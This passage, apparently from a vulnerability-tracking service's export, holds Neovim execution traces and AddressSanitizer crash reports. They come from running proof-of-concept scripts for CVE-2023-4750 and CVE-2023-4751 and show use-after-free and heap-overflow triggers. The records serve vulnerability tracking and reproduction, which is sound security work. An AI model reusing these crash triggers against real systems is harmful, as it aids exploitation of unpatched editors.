Xautocmd_changelist('')\n\ncalling Xautocmd_changelist('')\n\nline 1: cal writefile(['Xtestfile2:4:4'],'Xerr')\n\nline 2: edi Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe\"sn\" ..expand(\"\") \n\nExecuting: exe\"sn\" ..expand(\"\") \n\nExecuting: sn4\n\nExecuting: unlet! b:keymap_name\n\nline 2: unlet! b:keymap_name\n\nline 3: Xexpr'Xtestfil\ufffd2:4:4'\n\nline 3: lex'Xtestfil\ufffd2:4:4'\n=================================================================\n==31981==ERROR: AddressSanitizer: heap-use-after-free on address 0x62700000d020 at pc 0x0000005dffb3 bp 0x7ffc29306be0 sp 0x7ffc29306bd8\nREAD of size 8 at 0x62700000d020 thread T0\n #0 0x5dffb2 in bt_quickfix /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3942:30\n #1 0x9987dc in is_qf_win /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3837:7\n #2 0x99858a in qf_find_buf /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3876:9\n #3 0x984f91 in qf_update_buffer /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3913:16\n #4 0x982621 in qf_init_ext /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:1210:5\n #5 0x98d2af in ex_cexpr /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:6970:15\n #6 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #7 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #8 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #9 0xaffe4a in do_ucmd /home/zzw/Desktop/neovim/build/../src/nvim/usercmd.c:1725:9\n #10 0x754534 in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1612:13\n #11 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #12 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #13 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n #14 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n #15 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n #16 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n #17 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n #18 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #19 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #20 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #21 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n #22 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n #23 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n #24 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #25 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #26 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #27 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n #28 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n #29 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n #30 0x7f193f3c7082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n #31 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\n0x62700000d020 is located 10016 bytes inside of 12456-byte region [0x62700000a900,0x62700000d9a8)\nfreed by thread T0 here:\n #0 0x4e042d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e042d)\n #1 0x8a07c9 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:134:3\n #2 0x5dbb0c in free_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:867:5\n #3 0x5d9279 in close_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:696:5\n #4 0x5e9ed1 in wipe_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4286:3\n #5 0x5e9d5d in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4269:5\n #6 0x7ac9d9 in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4818:51\n #7 0x734a66 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2291:13\n #8 0x75c38f in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5270:9\n #9 0x75f7aa in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5200:3\n #10 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #11 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #12 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #13 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n #14 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n #15 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n #16 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n #17 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n #18 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #19 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #20 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #21 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n #22 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n #23 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n #24 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #25 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #26 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #27 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n #28 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n #29 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n\npreviously allocated by thread T0 here:\n #0 0x4e0822 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e0822)\n #1 0x8a0803 in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:148:15\n #2 0x5de2df in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1835:11\n #3 0x5e9ab4 in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4235:19\n #4 0x7ac9d9 in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4818:51\n #5 0x734a66 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2291:13\n #6 0x75c38f in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5270:9\n #7 0x75f7aa in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5200:3\n #8 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #9 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #10 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #11 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n #12 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n #13 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n #14 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n #15 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n #16 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #17 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #18 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #19 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n #20 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n #21 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n #22 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #23 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #24 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #25 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n #26 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n #27 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n #28 0x7f193f3c7082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3942:30 in bt_quickfix\nShadow bytes around the buggy address:\n 0x0c4e7fff99b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4e7fff99c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4e7fff99d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4e7fff99e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4e7fff99f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4e7fff9a00: fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4e7fff9a10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4e7fff9a20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4e7fff9a30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4e7fff9a40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4e7fff9a50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07 \n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n Shadow gap: cc\n==31981==ABORTING\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: set noautoread\n\nline 2: comman!-narg=* Xexpr lex\n\nline 3: auto BufReadPre * exe\"sn\" ..expand(\"\") \n\nline 4: fu Xautocmd_changelist(cchar)\n\nline 9: call Xautocmd_changelist('c')\n\ncalling function Xautocmd_changelist('c')\n\nline 1: cal writefile(['Xtestfile2:4:4'],'Xerr')\n\nline 2: edi Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nError detected while processing function Xautocmd_changelist:\nline 2:\nE201: *ReadPre autocommands must not change current buffer\nline 3: Xexpr'Xtestfil\ufffd2:4:4'\n\nline 3: verboselex'Xtestfil\ufffd2:4:4'\n\nline 3:\nE492: Not an editor command: verboselex'Xtestfil\ufffd2:4:4'\nfunction Xautocmd_changelist returning #0\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/CVE-2023-4750_nvim\n\nline 10: cal Xautocmd_changelist('')\n\ncalling function Xautocmd_changelist('')\n\nline 1: cal writefile(['Xtestfile2:4:4'],'Xerr')\n\nline 2: edi Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe\"sn\" ..expand(\"\") \n\nExecuting: exe\"sn\" ..expand(\"\") \n\nExecuting: sn3\n\nExecuting: unlet! b:keymap_name\n\nline 2: unlet! b:keymap_name\n\nline 3: Xexpr'Xtestfil\ufffd2:4:4'\n\nline 3: verboselex'Xtestfil\ufffd2:4:4'\n\nE492: Not an editor command: verboselex'Xtestfil\ufffd2:4:4'\nfunction Xautocmd_changelist returning #0\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/CVE-2023-4750_nvim\n\nfinished sourcing CVE-2023-4750_nvim\ncontinuing in command line\nExecuting: :qa!\n=================================================================\n==32095==ERROR: AddressSanitizer: heap-use-after-free on address 0x6270000151e0 at pc 0x000000b23a48 bp 0x7ffce28d9ed0 sp 0x7ffce28d9ec8\nREAD of size 8 at 0x6270000151e0 thread T0\n #0 0xb23a47 in buf_get_changedtick /home/zzw/Desktop/neovim/build/../src/nvim/buffer.h:115:41\n #1 0xb23a47 in getout /home/zzw/Desktop/neovim/build/../src/nvim/main.c:641:13\n #2 0x985083 in ex_quit_all /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6683:5\n #3 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #4 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #5 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n #6 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n #7 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n #8 0x7f0efc2c4082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n #9 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\n0x6270000151e0 is located 224 bytes inside of 12416-byte region [0x627000015100,0x627000018180)\nfreed by thread T0 here:\n #0 0x4d943d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d943d)\n #1 0xbdb6d4 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:3\n #2 0x69fce4 in free_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:785:5\n #3 0x69c1cb in close_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:618:5\n #4 0x6c70fc in wipe_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:5661:3\n #5 0x6c6fc0 in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:5644:5\n #6 0xa1efce in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4971:51\n #7 0x8f13e6 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2457:13\n #8 0x967949 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7536:9\n #9 0x97b8f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7464:3\n #10 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #11 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #12 0x8b2736 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1110:5\n #13 0x8af2a3 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1576:11\n #14 0x8ad0a5 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n #15 0x8c7dc4 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n #16 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #17 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #18 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n #19 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n #20 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n #21 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #22 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #23 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n #24 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n #25 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n #26 0x7f0efc2c4082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n #0 0x4d9832 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d9832)\n #1 0xbdb76e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:136:15\n #2 0x6a4abc in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1762:11\n #3 0x6c6c1f in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:5610:19\n #4 0xa1efce in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4971:51\n #5 0x8f13e6 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2457:13\n #6 0x967949 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7536:9\n #7 0x97b8f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7464:3\n #8 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #9 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #10 0x8b2736 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1110:5\n #11 0x8af2a3 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1576:11\n #12 0x8ad0a5 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n #13 0x8c7dc4 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n #14 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #15 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #16 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n #17 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n #18 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n #19 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #20 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #21 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n #22 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n #23 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n #24 0x7f0efc2c4082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/buffer.h:115:41 in buf_get_changedtick\nShadow bytes around the buggy address:\n 0x0c4e7fffa9e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c4e7fffa9f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c4e7fffaa00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c4e7fffaa10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c4e7fffaa20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4e7fffaa30: fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd\n 0x0c4e7fffaa40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4e7fffaa50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4e7fffaa60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4e7fffaa70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4e7fffaa80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07 \n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n Shadow gap: cc\n==32095==ABORTING", "creation_timestamp": "2026-09-06T13:23:27.575979Z"} 2026-09-06T13:23:27.575979+00:00 https://vulnerability.circl.lu/sighting/5f359744-63ad-471d-9559-c3e1c19d98bc/export 2026-09-17T10:26:47.076774+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "5f359744-63ad-471d-9559-c3e1c19d98bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4751", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/4c8e5a74cab9d06d11a53ab1823c9ab5", "content": "Command:\n./nvim-0.8.3 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nExecuting: aunmenu *\n\nExecuting: vnoremenu PopUp.Cut \"+x\n\nExecuting: vnoremenu PopUp.Copy \"+y\n\nExecuting: anoremenu PopUp.Paste \"+gP\n\nExecuting: vnoremenu PopUp.Paste \"+P\n\nExecuting: vnoremenu PopUp.Delete \"_x\n\nExecuting: nnoremenu PopUp.Select\\ All ggVG\n\nExecuting: vnoremenu PopUp.Select\\ All gg0oG$\n\nExecuting: inoremenu PopUp.Select\\ All VG\n\nExecuting: anoremenu PopUp.-1- \n\nExecuting: anoremenu PopUp.How-to\\ disable\\ mouse help disable-mouse\n\nExecuting: \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: norm0R0\n\nline 2: sp0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nline 2: unlet! b:keymap_name\n\nline 3: no0 R\n\nline 4: sil0norm0000\n\nline 5: norm^V\ufffd\n\nline 6: ba\n\nline 7: norm8zW\n=================================================================\n==25805==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006012 at pc 0x000000870029 bp 0x7ffcf711dbb0 sp 0x7ffcf711dba8\nREAD of size 1 at 0x602000006012 thread T0\n #0 0x870028 in utfc_ptr2len /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:868:16\n #1 0x8d9a54 in get_visual_text /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4451:25\n #2 0x8f200d in nv_zg_zw /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3577:25\n #3 0x8e7d92 in nv_zet /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3975:9\n #4 0x8db560 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1172:3\n #5 0x8da5c8 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7420:9\n #6 0x73b1e3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6446:5\n #7 0x73b079 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6429:3\n #8 0x73ff27 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6361:7\n #9 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #10 0x72925b in do_one_cmd 